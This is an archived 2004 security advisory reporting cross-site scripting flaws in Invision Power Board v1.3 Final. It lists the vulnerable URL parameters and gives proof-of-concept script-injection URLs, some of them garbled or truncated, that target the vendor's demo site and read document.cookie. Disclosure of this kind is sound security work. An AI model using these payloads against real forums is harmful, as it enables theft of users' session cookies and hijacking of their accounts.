Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web BBS :: Frequently Exploited :: hack0992.htm

Invision Power Board v1.3 Final Cross Site Scripting Vulnerabillity



Invision Power Board v1.3 Final Cross Site Scripting Vulnerabillity

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Software:        Invision Power Board
Vendor:           http://www.invisionboard.com/ 
Versions:        (U) v1.3 Final
Bug:                 Cross Site Scripting Vulnerabillity
Risk:                Medium
Exploitation:    Remote with browser
Date:               29 Feb 2004
Author:             Rafel Ivgi, The-Insider
E-Mail:             the_insider@mail.com 
Web:                http://theinsider.deep-ice.com 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bug
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

Invision Power Board is available under a yearly and lifetime purchase
option for both personal and commercial use, no catches, no "spyware",
no hidden costs anywhere.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

The Vulnerabillity is Cross Site Scripting.
The vulnerable form fields are "c","f","showtopic","showuser","username".
 If an attacker will request the following url from the server:

http:///?c='> >
Or
http:///?showtopic='>< plain
text>
Or
http:///?act=SR&f='> 
Or
http:///?showuser='> 
Or
http:///index.php?act=Reg&CODE=2&coppa_user=0&UserNam e='>


XSS appears and the server allows an attacker to inject & execute scripts.


In the words of securityfocus.com :
~~~~~~~~~~~~~~~~~~~~~~~~~~

If all of these circumstances are met, an attacker may be able to exploit
this issue
via a malicious link containing arbitrary HTML and script code as part of
the hostname.
When the malicious link is clicked by an unsuspecting user, the
attacker-supplied HTML
and script code will be executed by their web client. This will occur
because the server
will echo back the malicious hostname supplied in the client's request,
without sufficiently
escaping HTML and script code.

Attacks of this nature may make it possible for attackers to manipulate web
content or to
steal cookie-based authentication credentials. It may be possible to take
arbitrary actions as the victim user.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

http:///?c='> >
http:///?showtopic='>< plain
text>
http:///?act=SR&f='> 
http:///?showuser='> 
http:///index.php?act=Reg&CODE=2&coppa_user=0&UserNam e='>

Live Example:
http://demo.invisionboard.com/?c='>
<a href="http://demo.invisionboard.com/?act=SR&f='><script>alert(document.co">http://demo.invisionboard.com/?act=SR&f='><script>alert(document.co</a> okie)</sc
ript>
<a href="http://demo.invisionboard.com/?showuser='><script>alert(document.co">http://demo.invisionboard.com/?showuser='><script>alert(document.co</a> okie)</sc
ript>
<a href="http://demo.invisionboard.com/index.php?act=Reg&CODE=2&coppa">http://demo.invisionboard.com/index.php?act=Reg&CODE=2&coppa_</a> user=0&UserName
='><script>alert(document.cookie)</script>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider  - advisory#41.txt
<a href="http://theinsider.deep-ice.com">http://theinsider.deep-ice.com</a> 

"Things that are unlikeable, are NOT impossible."
</b></font></pre></tt></body></html>


<!-- google_ad_section_end -->
<p><center>
<br>
<script type="text/javascript"><!--
google_ad_client = "pub-7461597152411296";
google_ad_width = 728;
google_ad_height = 90;
google_ad_format = "728x90_as";
google_ad_type = "text";
//2007-07-08: TUCoPS
google_ad_channel = "2214400198";
google_color_border = "C3D9FF";
google_color_bg = "F8FFFF";
google_color_link = "003366";
google_color_text = "000000";
google_color_url = "009988";
google_ui_features = "rc:6";
//-->
</script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<p>
<iframe src="http://astore.amazon.com/aohstore-20" width="90%" height="1000" frameborder="0" scrolling="no"></iframe>
<p>


<p></center>
<center><a href="/firefox.htm">TUCoPS is optimized to look best in Firefox&reg; on a widescreen monitor (1440x900 or better).</a></center>
<font size=1><center>Site design & layout copyright &copy; 1986-2014 AOH</font>
</center>
<br><center><IMG SRC="http://artofhacking.com/cgi-bin/sc/sc.cgi?acct=tucops&font=payphone-med"></center>
<p>
</body>
</html>